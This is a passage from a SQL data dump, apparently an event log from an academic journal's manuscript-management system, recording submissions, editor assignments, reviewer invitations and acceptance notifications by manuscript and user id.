Reviewer',11451,'Publisher',48),(108643,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11451,'Publisher',48),(108644,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11451,'Publisher',48),(108647,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11492,'Author',11901),(108751,'0000-00-00 00:00:00','Editor has Invited Reviewer',11439,'Editor',1291),(108752,'0000-00-00 00:00:00','Editor has Invited Reviewer',11439,'Editor',1291),(108753,'0000-00-00 00:00:00','Editor has Invited Reviewer',11439,'Editor',1291),(108754,'0000-00-00 00:00:00','Editor has Invited Reviewer',11439,'Editor',1291),(108810,'0000-00-00 00:00:00','Manuscript Submitted by Author',11493,'Author',11876),(108811,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11479,'Publisher',274),(108812,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11476,'Publisher',274),(108813,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11453,'Publisher',274),(108841,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11354,'Publisher',48),(108842,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11307,'Publisher',48),(108940,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11480,'',1079),(108941,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11482,'Publisher',248),(108978,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11481,'Publisher',84),(108997,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11530,'Publisher',84),(109006,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11073,'Publisher',248),(109007,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10994,'Publisher',248),(109008,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10813,'Publisher',248),(109009,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11482,'Editor',1674),(109010,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11482,'Editor',1674),(109011,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11480,'Editor',1674),(109012,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11480,'Editor',1674),(109013,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11323,'Editor',1674),(109014,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11323,'Editor',1674),(109015,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11294,'Editor',1674),(109016,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11294,'Editor',1674),(109017,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109018,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109019,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109020,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109021,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11294,'Editor',1674),(109022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109024,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11481,'Publisher',84),(109034,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11481,'Editor',222),(109035,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11481,'Editor',222),(109036,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11492,'Publisher',48),(109037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11492,'Publisher',48),(109038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11492,'Publisher',48),(109039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11492,'Publisher',48),(109045,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11534,'Publisher',84),(109048,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11451,'Editor',194),(109050,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11451,'Editor',194),(109052,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11451,'Publisher',48),(109053,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11443,'Publisher',984),(109054,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11403,'Publisher',984),(109060,'0000-00-00 00:00:00','Reviewer has submitted comments',11307,'Reviewer',11520),(109061,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11307,'Publisher',48),(109062,'0000-00-00 00:00:00','Manuscript Submitted by Author',11541,'Author',9821),(109080,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11133,'Editor',194),(109081,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11133,'Editor',194),(109082,'0000-00-00 00:00:00','Reviewer has submitted comments',11133,'Reviewer',11520),(109083,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11133,'Publisher',48),(109084,'0000-00-00 00:00:00','Publisher : Notified Author',9999,'Publisher',274),(109085,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(109086,'0000-00-00 00:00:00','Publisher : Notified Author',10147,'Publisher',274),(109087,'0000-00-00 00:00:00','Publisher : Notified Author',10452,'Publisher',274),(109093,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11546,'Author',11947),(109094,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11547,'Author',11948),(109097,'0000-00-00 00:00:00','Manuscript Submitted by Author',11550,'Author',11954),(109121,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11493,'Publisher',274),(109163,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11313,'Publisher',274),(109174,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10060,'Editor',160),(109175,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10060,'Publisher',75),(109176,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11453,'Publisher',274),(109184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109185,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109186,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109187,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109188,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11479,'Publisher',274),(109194,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11566,'Author',11965),(109210,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11487,'Publisher',1033),(109211,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11487,'Publisher',1033),(109212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11487,'Publisher',1033),(109222,'0000-00-00 00:00:00','Reviewer has submitted comments',11487,'Reviewer',20696),(109261,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10768,'Publisher',84),(109263,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11573,'Author',11972),(109270,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11574,'Author',11973),(109271,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11530,'Publisher',84),(109272,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11534,'Publisher',84),(109273,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109282,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109283,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109284,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109285,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11534,'Publisher',84),(109288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109289,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109290,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109291,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109292,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109293,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109294,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109295,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109296,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109297,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109298,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109301,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11530,'Publisher',84),(109303,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11541,'Publisher',48),(109307,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11492,'Editor',194),(109308,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11492,'Editor',194),(109309,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11492,'Editor',194),(109310,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11492,'Publisher',48),(109311,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11492,'Publisher',48),(109420,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11546,'Publisher',84),(109421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109429,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109431,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109432,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109433,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109434,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11546,'Publisher',84),(109435,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11546,'Editor',221),(109436,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11534,'Editor',221),(109437,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11530,'Editor',221),(109438,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11546,'Editor',221),(109439,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11534,'Editor',221),(109440,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11530,'Editor',221),(109441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11541,'Publisher',48),(109442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11541,'Publisher',48),(109443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11541,'Publisher',48),(109444,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11541,'Publisher',48),(109489,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109490,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109492,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109496,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109497,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109499,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109500,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11403,'Publisher',984),(109524,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11586,'Author',11985),(109525,'0000-00-00 00:00:00','Reviewer has submitted comments',11049,'Reviewer',10212),(109526,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11049,'Editor',1324),(109527,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11049,'Editor',1324),(109528,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11049,'Publisher',972),(109535,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10268,'Publisher',984),(109540,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11547,'Publisher',75),(109545,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11589,'Author',11988),(109546,'0000-00-00 00:00:00','Reviewer has submitted comments',11354,'Reviewer',11520),(109547,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11354,'Publisher',48),(109550,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11590,'Author',11994),(109551,'0000-00-00 00:00:00','Reviewer has submitted comments',11311,'Reviewer',11520),(109552,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11311,'Publisher',48),(109553,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10930,'Editor',1406),(109554,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10930,'Editor',1406),(109555,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11566,'Publisher',988),(109556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11566,'Publisher',988),(109557,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11566,'Publisher',988),(109558,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11566,'Publisher',988),(109559,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10930,'Publisher',984),(109586,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11598,'Publisher',645),(109639,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11599,'Publisher',84),(109640,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10930,'Publisher',984),(109693,'0000-00-00 00:00:00','Author sent Email',4013,'Author',5214),(109698,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11550,'Publisher',85),(109756,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11610,'Publisher',988),(109772,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11611,'Publisher',988),(109801,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11618,'Author',12009),(109802,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11619,'Author',12011),(109838,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11586,'Publisher',274),(109845,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11590,'Publisher',84),(109846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109848,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109849,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109850,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109851,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109852,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109854,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11590,'Publisher',84),(109861,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11620,'Author',12012),(109896,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11599,'Publisher',84),(109897,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11599,'Publisher',84),(109911,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11599,'Editor',221),(109912,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11590,'Editor',221),(109913,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11599,'Editor',221),(109914,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11590,'Editor',221),(109951,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(109952,'0000-00-00 00:00:00','Publisher : Notified Author',9999,'Publisher',274),(109953,'0000-00-00 00:00:00','Publisher : Notified Author',10147,'Publisher',274),(109975,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11283,'Editor',1410),(109976,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11281,'Editor',1410),(109977,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11279,'Editor',1410),(109978,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11283,'Editor',1410),(109979,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11281,'Editor',1410),(109980,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11279,'Editor',1410),(109982,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11144,'Editor',1410),(109985,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11283,'Publisher',988),(109988,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11283,'Publisher',988),(109989,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11281,'Publisher',988),(109990,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11281,'Publisher',988),(109991,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11279,'Publisher',988),(109992,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11279,'Publisher',988),(109993,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11144,'Publisher',988),(109994,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11144,'Publisher',988),(110005,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11482,'Publisher',248),(110013,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11618,'Publisher',988),(110014,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11611,'Publisher',988),(110015,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11610,'Publisher',988),(110016,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11619,'',1216),(110063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11610,'Publisher',988),(110064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11610,'Publisher',988),(110065,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11610,'Publisher',988),(110066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11611,'Publisher',988),(110067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11611,'Publisher',988),(110068,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11611,'Publisher',988),(110069,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11550,'Editor',1291),(110070,'0000-00-00 00:00:00','Editor has Invited Reviewer',11550,'Editor',1291),(110071,'0000-00-00 00:00:00','Editor has Invited Reviewer',11550,'Editor',1291),(110072,'0000-00-00 00:00:00','Editor has Invited Reviewer',11550,'Editor',1291),(110102,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11670,'Publisher',84),(110103,'0000-00-00 00:00:00','Publisher : Notified Editor',11320,'Publisher',85),(110104,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11320,'Editor',1394),(110105,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',11320,'Editor',1394),(110106,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11589,'Publisher',1033),(110107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11589,'Publisher',1033),(110109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11589,'Publisher',1033),(110111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110117,'0000-00-00 00:00:00','Reviewer has submitted comments',11487,'Reviewer',20695),(110118,'0000-00-00 00:00:00','Reviewer has updated comments',11487,'Reviewer',20695),(110119,'0000-00-00 00:00:00','Reviewer has submitted comments',11589,'Reviewer',20695),(110120,'0000-00-00 00:00:00','Reviewer has submitted comments',11589,'Reviewer',20695),(110121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110122,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110124,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110125,'0000-00-00 00:00:00','Reviewer has updated comments',11589,'Reviewer',20695),(110126,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110127,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110133,'0000-00-00 00:00:00','Publisher : Notified Author',11320,'Publisher',85),(110134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110136,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110137,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110138,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110144,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110146,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110147,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110157,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110159,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110160,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110161,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110162,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110163,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110164,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110165,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110166,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110167,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110168,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110169,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110170,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(110171,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110172,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110173,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110174,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110175,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110176,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(110200,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11673,'Author',12053),(110223,'0000-00-00 00:00:00','Reviewer has submitted comments',10366,'Reviewer',12022),(110225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(110251,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11684,'Author',12056),(110267,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11693,'Author',12065),(110274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11618,'Publisher',988),(110275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11618,'Publisher',988),(110276,'0000-00-00 